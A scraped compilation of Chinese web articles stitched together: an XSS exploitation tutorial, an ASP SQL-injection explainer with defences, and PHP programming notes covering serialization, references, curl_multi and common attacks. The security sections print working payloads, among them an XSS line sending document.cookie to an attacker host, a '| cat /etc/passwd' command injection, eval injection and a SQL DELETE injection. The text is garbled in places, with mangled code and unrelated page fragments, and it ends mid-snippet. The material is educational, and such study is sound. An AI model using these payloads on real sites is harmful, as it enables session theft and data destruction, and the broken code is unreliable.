什么是客户端跨脚本攻击植入攻击,其攻击形式有哪些

您所在的位置: &
跨站脚本攻击深入解析之:漏洞利用过程(1)
跨站脚本攻击深入解析之:漏洞利用过程(1)
在本文的上篇中,我们详细介绍了当前Web应用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型;而本文将介绍跨站脚本漏洞利用的过程,并对HTML注入进行深入分析。
【 独家特稿】跨站脚本的名称源自于这样一个事实,即一个Web站点(或者人)可以把他们的选择的代码越过安全边界线注射到另一个不同的、有漏洞的Web 站点中。当这些注入的代码作为目标站点的代码在受害者的浏览器中执行时,攻击者就能窃取相应的敏感数据,并强迫用户做一些用户非本意的事情。
在本文的上篇中,我们详细介绍了当前Web应用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型;而本文将介绍跨站脚本漏洞利用的过程,并对HTML注入进行深入分析。
一、跨站脚本漏洞利用的过程
现在,您已经熟悉了浏览器中的各种安全技术,下面我们开始设法利用XSS规避这些安全技术。XSS的主要目标是通过把攻击者选择的JavaScript、VBScript或者其它为浏览器所接受的脚本语言注入到(放进)某些Web应用程序之中。只要攻击者可以将脚本植入有弱点的Web应用程序中的任何地方,浏览器就会认为这个脚本是来自该有弱点的Web应用程序,而非非出自攻击者之手。
这样的话,该脚本就能够在这个有弱点的Web应用程序的域中运行了,并能进行下列活动:有权读取那个有弱点的Web应用程序使用的Cookie;能够看到该有弱点的Web应用程序提供的页面的内容,甚至能将它们发送给黑客;改变有弱点的Web应用程序的外观;回调运行有弱点的Web应用程序的服务器。
大体上,跨站点脚本攻击可以分为三步进行:
1.HTML注入。我们将介绍把脚本注入到Web应用程序的各种可能的方法。所有HTML注入范例只是注入一个JavaScript弹出式的警告框:a_lert(1)。
2.做坏事。如果您觉得警告框还不够刺激,我们将讨论当受害者点击了一个被注入了HTML代码的页面链接时攻击者能作的各种的恶意事情。
3.诱捕受害者。我们论述如何强制或者诱使受害者执行恶意JavaScript代码。
一、HTML注入简介
将HTML和(更为重要的)脚本代码注入Web应用程序的方法简直太多了。如果某个Web应用程序的HTTP响应中“照搬”了在HTTP请求中输入的内容,例如尖括号、圆括号、句号、等号等,那么说明这个Web应用程序和域具有HTML注入漏洞,并且该漏洞十有八九可以用于XSS。
本节将为读者介绍最常见的HTML注入方法,但是无法包括所有方法,因为这些方法是在太多了。对于大多数小型至中型的网站来说,这些技术很可能仍然奏效。只要有耐心,那么您或许也能够使用其中的一种技术成功应用于一个大型Web站点。
下面我们将分门别类的介绍各种注入方法。
二、传统的反射式和存储式HTML注入
传统的XSS攻击是一种反射式的HTML注入攻击,借此,一个Web应用程序接受在HTTP请求中的用户输入。该Web应用程序会返回一个HTTP响应,其主体中将包含原封不动的用户输入。如果该服务器的响应跟用户的原始输入完全一致,那么这些用户输入就会被浏览器当作有效的HTML、VBScript或者JavaScript进行解释。考虑下列的服务器端的PHP代码:
if (isset($_GET{'UserInput'})){
$out = '您输入的内容为: "' . $_GET{'UserInput'} . '".';
$out = '请在此输入内容: ';
$out .= '';
$out .= '';
$out .= '';
图1展示了这段代码放置到http://publicpages.daxue.edu/~someuser/MyPhp.php上后,客户端看到的页面内容。
图1 一个简单的PHP脚本,用以接收用户输入(MyPhp.php)
当用户点击“提交查询”按钮时,就会生成下列GET请求:
http://public-pages.daxue.edu/~someuser/MyPhp.php?input=hahaha
这个PHP应用程序看到用户输入的“hahaha”后,将响应一个页面,如图2所示。
图2 用户输入“hahaha”后MyPhp.php回复的响应
下面显示的是图2中看到的页面的HTML 源代码,为醒目起见用户输入的内容这里以蓝色字体显示。
您输入的内容为: "hahaha".
内容导航&第 1 页: &第 2 页: &第 3 页:
关于&&&&&&&&的更多文章
在Web设计和开发领域,很快的,我们将会无法跟上设备与分辨率革
网友评论TOP5
12月25日消息,乌云漏洞平台披露,大量12306用户数据在网上传播售卖。
WAF(Web Application Firewall,Web应用防火墙)是一
RSA大会是信息安全界最有影响力的业界盛会之一。它于1
OWASP是一个开源的、非盈利的全球性安全组织,致力于
《系统分析师考试辅导(2007版)》内容涵盖了最新的系统分析师考试大纲信息系统综合知识的所有知识点,分析了近3年信息系统分析
51CTO旗下网站|||||| 更多
比特客户端
我们也在这里:
防范SQL指令植入式攻击
关键字:SQL 安全 攻击 脚本
  什么是SQL 指令植入式攻击?
  在设计或者维护Web 网站时,你也许担心它们会受到某些卑鄙用户的恶意攻击。的确,如今的 Web 网站开发者们针对其站点所在平台或的安全性而展开的讨论实在太多了。不错,的安全漏洞可能招致恶意攻击;但你的安全检查清单不应该仅仅有 IIS 安全性这。有些代码,它们通常是专门为(data-driven) 的 Web 网站而设计的,实际上往往同其它 IIS 漏洞一样存在严重的安全隐患。这些潜伏于代码中的安全隐患就有可能被称为“SQL 指令植入式攻击” (SQL injection) 的手段所利用而导致服务器受到攻击。
  SQL 指令植入式攻击技术使得攻击者能够利用 Web 应用程序中某些疏于防范的输入机会动态生成特殊的 SQL 指令语句。举一个常见的例子:
  某Web 网站采用表单来收集访问者的用户名和密码以确认他有足够权限访问某些保密信息,然后该表单被发送到 Web 服务器进行处理。接下来,服务器端的ASP 脚本根据表单提供的信息生成 SQL 指令语句提交到 SQL 服务器,并通过分析SQL 服务器的返回结果来判断该用户名/密码组合是否有效。
  为了实现这样的功能,Web 程序员可能会设计两个页面:一个 HTML 页面 (Login.htm) 用于登录,另一个ASP 页面 (ExecLogin.asp) 用于验证用户权限(即向查询用户名/密码组合是否存在)。具体代码可能象这样:
  Login.htm (HTML 页面)
Username: Password:
  ExecLogin.asp (ASP 页面) 代码:
  乍一看,ExecLogin.asp 的代码似乎没有任何安全漏洞,因为用户如果不给出有效的用户名/密码组合就无法登录。然而,这段代码偏偏不安全,而且它正是SQL 指令植入式攻击的理想目标。具体而言,设计者把用户的输入直接用于构建SQL 指令,从而使攻击者能够自行决定即将被执行的 SQL 指令。例如:攻击者可能会在表单的用户名或密码栏中输入包含“ or ”和“=” 等特殊字符。于是,提交给数据库的 SQL 指令就可能是: 代码:SELECT * FROM tblUsers WHERE Username= or = and Password = or =
  这样,SQL 服务器将返回 tblUsers 表格中的所有记录,而 ASP 脚本将会因此而误认为攻击者的输入符合 tblUsers 表格中的第一条记录,从而允许攻击者以该用户的名义登入网站。
  SQL 指令植入式攻击还有另一种形式,它发生在 ASP 服务器根据 querystring 参数动态生成网页时。这里有一个例子,此 ASP 页面从 URL 中提取出 querystring 参数中的 ID 值,然后根据 ID 值动态生成后继页面: 代码:
  在一般情况下,此 ASP 脚本能够显示具有特定 ID 值的文章的内容,而 ID 值是由 URL 中的 querystring 参数指定的。例如:当URL为/Article.asp?ID=1055 时,ASP 就会根据 ID 为 1055 的文章提供的内容生成页面。
  如同前述登录页面的例子一样,此段代码也向SQL 指令植入式攻击敞开了大门。某些恶意用户可能会把 querystring 中的文章 ID 值偷换为“0 or 1=1”等内容(也就是说,把 URL 换成/Article.asp?ID=0 or 1=1) 从而诱使 ASP 脚本生成不安全的 SQL 指令如: 代码:SELECT * FROM tblArticles WHERE ID=0 or 1=1
  于是,数据库将会返回所有文章的内容。
  当然了,本例服务器所受的攻击不一定会引起什么严重后果。可是,攻击者却可能变本加厉,比如用同样的手段发送 DELETE 等 SQL 指令。这只需要简单地修改前述 URL 中的 querystring 参数就可以了!例如:任何人通过 /Article.asp?ID=1055; DELETE FROM tblArticles ” 之类的 URL 来访问 Web 网站。
  SQL 指令植入式攻击的危害
  SQL 指令植入式攻击可能引起的危害取决于该网站的软件环境和配置。当 Web 服务器以操作员(dbo)的身份访问数据库时,利用SQL 指令植入式攻击就可能删除所有表格、创建新表格,等等。当服务器以超级用户 (sa) 的身份访问数据库时,利用SQL 指令植入式攻击就可能控制整个 SQL 服务器;在某些配置下攻击者甚至可以自行创建用户帐号以完全操纵数据库所在的 Windows 服务器。
  杜绝SQL 指令植入式攻击
  杜绝SQL 指令植入式攻击的第一步就是采用各种安全手段监控来自 ASP request 对象 (Request 、 Request.QueryString 、 Request.Form 、 Request.Cookies 和 Request.ServerVariables) 的用户输入,以确保 SQL 指令的可靠性。具体的安全手段根据你的 DBMS 而异,下面给出的都是基于 MS的例子。
  在前述登录页面的例子中,脚本期望得到的两个输入变量 (txtUserName 和 txtPassword)均为字符串类型。无论用户在哪个参数中插入单引号,他都可能让数据库执行单引号中的 SQL 指令。为了杜绝此类SQL 指令植入式攻击,我们可以借助 Replace 函数剔除单引号,比如:
  代码:p_strUsername = Replace(Request.Form("txtUsername"), "", "") p_strPassword = Replace(Request.Form("txtPassword"), "", "")
  在第二个例子中,脚本期望的输入变量是长整型变量 (ID) 。用户可以通过在 ID 参数中插入特殊字符来运行不安全的 SQL 指令。为了为了杜绝此类SQL 指令植入式攻击,我们只需要借助 CLng 函数限制 ID 值为长整型变量,比如: 代码:p_lngID = CLng(Request("ID"))
  当用户试图在 ID 中包含特殊字符时,CLng 就会产生一个错误。
  为了进一步减少SQL 指令植入式攻击的危胁,请务必清除客户端错误信息文本中的所有技术资料。某些错误信息往往泄露了技术细节,从而让攻击者可以看出服务器的安全漏洞所在。这里指的错误信息不但包括应用程序生成的消息框,还包括来自 IIS 的出错提示。为此,你可以禁止由 IIS 发送的详细错误信息,而改用自定义的出错页面。(关于创建自定义的出错页面的更多信息,请务必参阅 《Creating Custom ASP Error Pages》。)
  最后,为了减轻SQL 指令植入式攻击的危害,请限制 Web 应用程序的数据库访问帐号权限。一般来说,应用程序没有必要以 dbo 或者 sa 的身份访问数据库。记住,给它的权限越少,你的网站越安全!你还可以考虑分别给每个需要访问数据库的对象分配只拥有必需权限的帐号,以分散安全漏洞。例如:同是前端用户界面,当用于公共场所时就比用于具有本地内容管理机制的平台时更加需要严格限制数据库访问权限。
  相关资料
  在 Internet 上有许许多多关于本话题的有用资源。我想下列连接可能会对你有所帮助:
  * SQL Injection FAQ /)
  * Advanced SQL Injection White Paper /research.html)
  * Preventing SQL Injection http://www.owasp.org/asac/input_validation/sql.shtml)
  * Designing Web-Based Applications for Windows 2000 /exec/obidos/A...guysfromrollaco),此书值得一看。
相关文章:
[ 责任编辑:于捷 ] &&&&
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯,最新的软件技巧,最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中,与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊!
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧,帮助网管答疑解惑,成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一,主要关注x86服务器,RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析,让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来,为读者提供企业存储领域高质量的原创内容,及时、全面的资讯、技术、方案以及案例文章,力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设,为企业级用户打造最具商业价值的信息沟通平台,并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比,比特安全周刊运作模式更加独立,对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事,为企业级用户打造重点突出,可读性强,商业价值高的信息共享平台;同时为互联网、IT业界及通信厂商提供一条精准快捷,渗透力强,覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展,全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托,汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台,并持续提供丰富的资讯和服务,探讨信息化建设,推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来,以定向、分众、整合的商业模式,为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容,包括IT新闻、评论、专家答疑、技巧和白皮书。此外,IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊是一份IT人的技术娱乐周刊,给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍,同时用户还能参与我们推荐的互动游戏,给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。
微信扫一扫
关注Chinabyte页面导航:
→ 正文内容 PHP编程注意事项
基于PHP编程注意事项的小结
本篇文章介绍了,在php编程中要注意的一些事项的小结,需要的朋友参考下
&1、php隐性的三元操作符(?:)优先级问题:
例1: 代码如下:&&& $person = $who or $person = "laruence";& &&& //实际上是等同于:& &&& $person = empty($who)? "laruence" : $& 例2 代码如下:&&& $arr = array(1=&1,3=&3);& &&& $i = 2;& &&& $a = 'test‘ . isset($arr[$i]) ? $arr[$i] : $i;& $a 是什么? 这个问题, 咋一看觉得简单,
$a = ‘test2';
其实仔细推敲后运行的,结果是notice:Undefined index 2..
由于优先级的问题, 连接符的优先级比三元操作符高。
首先是判断 ' test'. isset($arr[$i]) 这个字符串永远是true,因此:
$a =& $arr[$i];以致php提示提醒。&
2. PHP函数名和类名不区分大小写的,而变量名是区分大小写的。
所以自己写的php模块,往往是大写的问题,编译不通过。
3.系列化传递问题
把复杂的数据类型压缩到一个字符串中serialize() 把变量和它们的值编码成文本形式unserialize() 恢复原先变量 代码如下:&&& $stooges = array('Moe','Larry','Curly');& &&& $new = serialize($stooges);& &&& print_r($new);echo "&br /&";& &&& print_r(unserialize($new));& &&& &span style="font-family:ABACKGROUND-COLOR: #ffffff"&&/span&&
结果:a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}Array ( [0] =& Moe [1] =& Larry [2] =& Curly )当把这些序列化的数据放在URL中在页面之间会传递时,需要对这些数据调用urlencode(),以确保在其中的URL元字符进行处理: 代码如下:$shopping = array('Poppy seed bagel' =& 2,'Plain Bagel' =&1,'Lox' =&4);& echo '&a href="next.php?cart='.urlencode(serialize($shopping)).'"&next&/a&'; margic_quotes_gpc和magic_quotes_runtime配置项的设置会影响传递到unserialize()中的数据。如果magic_quotes_gpc项是启用的,那么在URL、POST变量以及cookies中传递的数据在反序列化之前必须用stripslashes()进行处理: 代码如下:&&& $new_cart = unserialize(stripslashes($cart)); //如果magic_quotes_gpc开启& &&& $new_cart = unserialize($cart);& 如果magic_quotes_runtime是启用的,那么在向文件中写入序列化的数据之前必须用addslashes()进行处理,而在读取它们之前则必须用stripslashes()进行处理: 代码如下:$fp = fopen('/tmp/cart','w');& fputs($fp,addslashes(serialize($a)));& fclose($fp);& //如果magic_quotes_runtime开启& $new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart')));& //如果magic_quotes_runtime关闭& $new_cat = unserialize(file_get_contents('/tmp/cart'));在启用了magic_quotes_runtime的情况下,从数据库中读取序列化的数据也必须经过stripslashes()的处理,保存到数据库中的序列化数据必须要经过addslashes()的处理,以便能够适当地存储。 代码如下:&&& mysql_query("insert into cart(id,data) values(1,'".addslashes(serialize($cart))."')");& &&& $rs = mysql_query('select data from cart where id=1');& &&& $ob = mysql_fetch_object($rs);& &&& //如果magic_quotes_runtime开启& &&& $new_cart = unserialize(stripslashes($ob-&data));& &&& //如果magic_quotes_runtime关闭& &&& $new_cart = unserialize($ob-&data);& 当对一个对象进行反序列化操作时,PHP会自动地调用其__wakeUp()方法。这样就使得对象能够重新建立起序列化时未能保留的各种状态。例如:数据库连接等。
4. 引用注意事项PHP中引用意味着用不同的名字访问同一个变量内容,引用不是C的指针(C语言中的指针里面存储的是变量的内容,在内存中存放的地址),是变量的另外一个别名或者映射。注意在 PHP 中,变量名和变量内容是不一样的,因此同样的内容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身DD变量名是目录条目,而变量内容则是文件本身。引用可以被看作是 Unix 文件系统中的紧密连接或者wins的快捷方式。1)unset 一个引用,只是断开了变量名和变量内容之间的绑定。这并不意味着变量内容被销毁了&例如:不会 unset $b,只是 $a。 代码如下:&&& &?php&&& &&&&&&&& $a&& =&& 1 ;&&& &&&&&&&& $b&& =&&& $&&& &&&&&&&& unset& ( $a );&&& &&&&&&&& echo $b; //输出:1:& 使用unset($a)与$a=null的结果是不一样的。如果该块内存只有$a一个映射,那么unset($a)与$a=null等价,该内存的引用计数变为0,被自动回收;如果该块内存有$a和$b两个映射,那么unset($a)将导致$a=null且$b不变的情况,而$a=null会导致$a=$b=null的情况。原因:某变量赋值为null,将导致该变量对应的内存块的引用计数直接置为0,被自动回收。
2)PHP引用是采用引用计数、写时拷贝
很多人误解Php中的引用跟C当中的指针一样,事实上并非如此,而且很大差别。C语言中的指针除了在数组传递过程中不用显式申明外,其他都需要使用*进行定义,而php中对于地址的指向(类似指针)功能不是由用户自己来实现的,是由Zend核心实现的,php中引用采用的是“引用计数、写时拷贝”的原理,(写时复制(Copy-on-Write,也缩写为COW),顾名思义,就是在写入时才真正复制一份内存进行修改。)
就是除非发生写操作,指向同一个地址的变量或者对象是不会被拷贝的,比如下面的代码:$a = array('a','c'...'n');$b = $a;如果程序仅执行到这里,$b和$b是相同的,但是并没有像C那样,$a和$b占用不同的内存空间,而是指向了同一块内存,这就是php和c的差别,并不需要写成$b=&$a才表示$b指向$a的内存,zend就已经帮你实现了引用,并且zend会非常智能的帮你去判断什么时候该这样处理,什么时候不该这样处理。
如果在后面继续写如下代码,增加一个函数,通过引用的方式传递参数,并打印输出数组大小。 代码如下:&&& function printArray(&$arr) //引用传递& &&&& {& &&&&&&& print(count($arr));& &&& }& &&&& printArray($a);& 上面的代码中,我们通过引用把$a数组传入printArray()函数,zend引擎会认为printArray()可能会导致对$a的改变,此时就会自动为$b生产一个$a的数据拷贝,重新申请一块内存进行存储。这就是前面提到的“引用计数、写时拷贝”概念。
直观的理解:$a将使用自己原始的内存空间,而$b,则会使用新开辟的内存空间,而这个空间将使用$a的原始($a或者$b改变之前)内容空间的内容的拷贝,然后做对应的改变。
如果我们把上面的代码改成下面这样: 代码如下:&&& function printArray($arr)& //值传递& &&&& {& &&&&&&&& print(count($arr));& &&&& }& &&&& printArray($a);& 上面的代码直接传递$a值到printArray()中,此时并不存在引用传递,所以没有出现写时拷贝。
5. 编码的问题
程序代码使用utf-8码,而strlen函数是计算字符串的字节数而不是字符数?&$str = “您好hello”;
echo strlen($str);
结果:ANSI=9 而utf-8=11,utf-8中文字符编码是3个字节。要获取字符数,使用mb_strlen().
6. PHP获取参数的三种方法
方法一 使用$argc $argv 代码如下:&?php& &&& if ($argc & 1){& &&&&&&& print_r($argv);& &&& } 在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
运行结果:&&&& # /usr/local/php/bin/php ./getopt.php -f 123 -g 456&&&&&&& Array&&&&&&& (&&&&&&&&&&& [0] =& ./getopt.php&&&&&&&&&&& [1] =& -f&&&&&&&&&&& [2] =& 123&&&&&&&&&&& [3] =& -g&&&&&&&&&&& [4] =& 456&&&&&&& )
方法二 使用getopt函数() 代码如下:&&& $options = "f:g:";& &&& $opts = getopt( $options );& &&& print_r($opts);& 在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456&运行结果:&& Array&&&&&&& (&&&&&&&&&&& [f] =& 123&&&&&&&&&&& [g] =& 456&&&&&&& )
方法三 提示用户输入,然后获取输入的参数。有点像C语言 代码如下:fwrite(STDOUT, "Enter your name: ");& $name = trim(fgets(STDIN));& fwrite(STDOUT, "Hello, $name!");在命令行下运行 /usr/local/php/bin/php ./getopt.php&运行结果&&&& Enter your name: francis&&&& Hello, francis!
7. php的字符串即可以当做数组,和c指针字符串一样 代码如下:&&& &?php& &&& $s = '12345';& &&& $s[$s[0]] = 0;& &&& echo $s;& &&& ?&& 结果是10345
8. PHP的高效率写法:9. PHP的安全漏洞问题:
针对PHP的网站主要存在下面几种攻击方式:
1、命令注入(Command Injection)
&&&& PHP中可以使用下列5个函数来执行外部的应用程序或函数 system、exec、passthru、shell_exec、“(与shell_exec功能相同)&&&& 如: 代码如下:&&& &?php& &&& $dir = $_GET["dir"];&& &&& if (isset($dir)) {&&&&&& &&&&&&& echo "";&&&&&& &&&&&&& system("ls -al ".$dir);&&&&&& &&&&&&& echo "";&& &&& }&& &&& ?&&& 我们提交/ex1.php?dir=| cat /etc/passwd,命令变成了 system("ls -al | cat /etc/passwd"); 我们服务器用户信息被窃看了吧。
2、eval注入(Eval Injection)
eval函数将输入的字符串参数当作PHP程序代码来执行,eval注入一般发生在攻击者能控制输入的字符串的时候。 代码如下:$var = "var";&& if (isset($_GET["arg"]))&& {&& &&& $arg = $_GET["arg"];&& &&& eval("\$var = $");&& &&& echo "\$var =".$&& }&& ?& 当我们提交/ex2.php?arg=phpinfo();漏洞就产生了;
防范命令注入和eval注入的方法
&& 1)、尽量不要执行外部命令。
&& 2)、使用自定义函数或函数库来替代外部命令的功能,甚至有些服务器直接禁止使用这些函数。
&& 3)、使用escapeshellarg函数来处理命令参数,esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“'”,替换成“\'”,双引号“"”,替换成“\"”,分号“;”替换成“\;”
3、客户端脚本攻击(Script Insertion)
客户端脚本植入的攻击步骤
1)、攻击者注册普通用户后登陆网站
2)、打开留言页面,插入攻击的js代码
3)、其他用户登录网站(包括管理员),浏览此留言的内容
4)、隐藏在留言内容中的js代码被执行,攻击成功
表单输入一些浏览器可以执行的脚本:
插入 &script&while(1){windows.open();}&/script& 无限弹框
插入&script&location.href="";&/script& 跳转钓鱼页面&防止恶意HTML标签的最好办法是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
4、跨网站脚本攻击(Cross Site Scripting, XSS)
恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。
跨站脚本攻击的一般步骤:
1)、攻击者以某种方式发送xss的http链接给目标用户,例如评论表单:
&&&&&&& 插入&script&document.location= “go.somewhere.bad?cookie=+“this.cookie&/script&
&&&&& 或者是链接:
&&&&& http://w w w.my.site/index.php?user=& script &document.location="http://w w w.atacker.site/get.php?cookie="+document.& / script &
2)、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接
3)、网站执行了此xss攻击脚本
4)、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
5)、攻击者使用目标用户的信息登录网站,完成攻击
&&&&& 防止恶意HTML标签的最好办法还是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
5、SQL注入攻击(SQL injection)
&&&& SQL注入最有效的防御方式是使用准备语句:
&&&& 准备语句(也叫预备语句 prepared statements),是一种查询,先将他们发送到服务器进行预编译和准备,并且在以后的执行这个查询时告诉它存储参数的位置。
&& 1)对参数值进行转义。因此不必调用像mysqli::real_escape_string或者将参数放在引号中。
& 2)当在一个脚本中多次执行时,预备语句的性能通常好于每次都通过网络发送查询,当再次执行一个查询时,只将参数发送到数据库,这占用的空间比较少。
1)用PDO(PHP Data Objects ): 代码如下:PHP PDO::prepare() and execute()&& $preparedStatement = $db-&prepare('INSERT INTO table (column) VALUES (:column)');&&& $preparedStatement-&execute(array(':column' =& $unsafeValue)); 2) 使用mysqli: 代码如下:&&& $stmt = $dbConnection-&prepare('SELECT * FROM employees WHERE name = ?');&& &&& $stmt-&bind_param('s', $name);&&& &&& $stmt-&execute();&&& &&& $result = $stmt-&get_result();&&& &&& while ($row = $result-&fetch_assoc()) {&&& &&&&&&& // do something with $row&&&& &&& }&&& 6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
7、Session 会话劫持(Session Hijacking)
8、Session 固定攻击(Session Fixation)
9、HTTP响应拆分攻击(HTTP Response Splitting)
10、文件上传漏洞(File Upload Attack)
11、目录穿越漏洞(Directory Traversal)
12、远程文件包含攻击(Remote Inclusion)
13、动态函数注入攻击(Dynamic Variable Evaluation)
14、URL攻击(URL attack)
15、表单提交欺骗攻击(Spoofed Form Submissions)
16、HTTP请求欺骗攻击(Spoofed HTTP Requests)
几个重要的php.ini选项:register_globals、、magic_quotes、safe_mode。 这个几个选项在PHP5.4都将被弃用。
register_globals:
&&&& php&=4.2.0,php.ini的register_globals选项的默认值预设为Off,当register_globals
的设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于PHP不必事先初始化变量的值,从而导致很大的安全隐患。
&&&& 要确保禁用 register_globals。如果启用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替换同名的 GET 或 POST 字符串。通过禁用这个设置,PHP 强迫您在正确的名称空间中引用正确的变量。要使用来自表单 POST 的变量,应该引用 $_POST['variable']。这样就不会将这个特定变量误会成 cookie、会话或 GET 变量。
safe_mode:
安全模式,PHP用来限制文档的存取、限制环境变量的存取,控制外部程序的执行。启用安全模式必须设置php.ini中的safe_mode=On
magic_quotes
用来让php程序的输入信息自动转义,所有的单引号(“'”),双引号(“"”),反斜杠(“\”)和空字符(NULL),都自动被加上反斜杠进行转义magic_quotes_gpc=On用来设置magicquotes为On,它会影响HTTP请求的数据(GET、POST、Cookies)程序员也可以使用addslashes来转义提交的HTTP 请求数据,或者用stripslashes 来删除转义。
10. curl多请求并发使用
curl大家一定使用过,但并发使用的情况估计不多。但在某些情况下确实比较有用,比如在同一请求里面调用多个他方接口,传统方法我们需要串行请求接口:
file_get_contents('http://a.php');//1秒
file_get_contents('http://b.php');//2秒
file_get_contents('http://c.php');//2秒
那在这里耗时为5秒,但运营curl的muti方法,我们只需2秒就可请求完毕.& 在php的手册里面有一段代码: 代码如下:&&& $mrc = curl_multi_init();& &&& //发出请求& &&& .......& &&& $active =& &&&&&&&&&&& do {& &&&&&&&&&&&&&&& $mrc = curl_multi_exec($mh, $active);& &&&&&&&&&&& } while ($mrc == CURLM_CALL_MULTI_PERFORM);& &&&&&&&&&&& while ($active && $mrc == CURLM_OK) {& &&&&&&&&&&&&&&& if (curl_multi_select($mh) != -1) {& &&&&&&&&&&&&&&&&&&& do {& &&&&&&&&&&&&&&&&&&&&&&& $mrc = curl_multi_exec($mh, $active);& &&&&&&&&&&&&&&&&&&& } while ($mrc == CURLM_CALL_MULTI_PERFORM);& &&&&&&&&&&&&&&& }& &&&&&&&&&&& }& &&& //下面是处理请求返回的结果& 但如果我有1000个请求,那么curl批处理将并发1000个请求,显然是不合理,所以应该要控制一个并发数,并且将剩余的连接添加到请求队列里:参考:How to use curl_multi() without blocking 代码如下:&&& &?php& &&& $connomains = array(& &&&&&&& //2.php自己去些& &&&&&& "http://localhost/2.php?id=1",//sleep(1)秒& &&&&&& "http://localhost/2.php?id=2",//sleep(2)秒& &&&&&& "http://localhost/2.php?id=5",//sleep(5)秒& &&& );& &&& $mh = curl_multi_init();& &&& foreach ($connomains as $i =& $url) {& &&&&& $conn[$i] = curl_init($url);//初始化各个子连接& &&&&& curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);//不直接输出到浏览器& &&&&& curl_multi_add_handle ($mh,$conn[$i]);//加入多处理句柄& &&& }& &&& $active = 0;//连接数& &&& do {& &&&&& do{& &&&&&&&&& //这里$active会被改写成当前未处理数& &&&&&&&&& //全部处理成功$active会变成0& &&&&&&&&& $mrc& = curl_multi_exec($mh, $active);& &&&&&&&&& //这个循环的目的是尽可能的读写,直到无法继续读写为止(返回CURLM_OK)& &&&&&&&&& //返回(CURLM_CALL_MULTI_PERFORM)就表示还能继续向网络读写& &&&&& }while($mrc==CURLM_CALL_MULTI_PERFORM);& &&&&& &&& //如果一切正常,那么我们要做一个轮询,每隔一定时间(默认是1秒)重新请求一次& &&& //这就是curl_multi_select的作用,它在等待过程中,如果有就返回目前可以读写的句柄数量,以便& &&& //继续读写操作,0则没有可以读写的句柄(完成了)& &&& } while ($mrc==CURLM_OK&& $active &&curl_multi_select($mh)!=-1);//直到出错或者全部读写完毕& &&& if ($mrc != CURLM_OK) {& &&&&& print "Curl multi read error $mrc/n";& &&& }& &&& // retrieve data& &&& foreach ($connomains as $i =& $url) {& &&&&& if (($err = curl_error($conn[$i])) == '') {& &&&&&& $res[$i]=curl_multi_getcontent($conn[$i]);& &&&&& } else {& &&&&&& print "Curl error on handle $i: $err/n";& &&&&& }& &&&&& curl_multi_remove_handle($mh,$conn[$i]);& &&&&& curl_close($conn[$i]);& &&& }& &&& curl_multi_close($mh);& &&& print_r($res);& &&& ?&&& 有的人为了省事,这样写:
do { curl_multi_exec($mh,$active); } while ($active);
看似也能得到结果,但其实很不严谨,并且很浪费cpu,因为这个循环会一直在不停的调用,直到所有链接处理完毕,在循环里面加个print 'a' 就可看出效果了。
11、empty使用魔术方法__get判断对象属性是否为空不起作用
Please note that results of empty() when called on non-existing / non-public variables of a class are a bit confusing if using magic method __get (as previously mentioned by nahpeps at gmx dot de). Consider this example: 代码如下:&?phpclass Registry{&&& protected $_items = array();&&& public function __set($key, $value)&&& {&&&&&&& $this-&_items[$key] = $&&& }&&& public function __get($key)&&& {&&&&&&& if (isset($this-&_items[$key])) {&&&&&&&&&&& return $this-&_items[$key];&&&&&&& } else {&&&&&&&&&&&&&&&&&& }&&& }}
$registry = new Registry();$registry-&empty = '';$registry-&notEmpty = 'not empty';
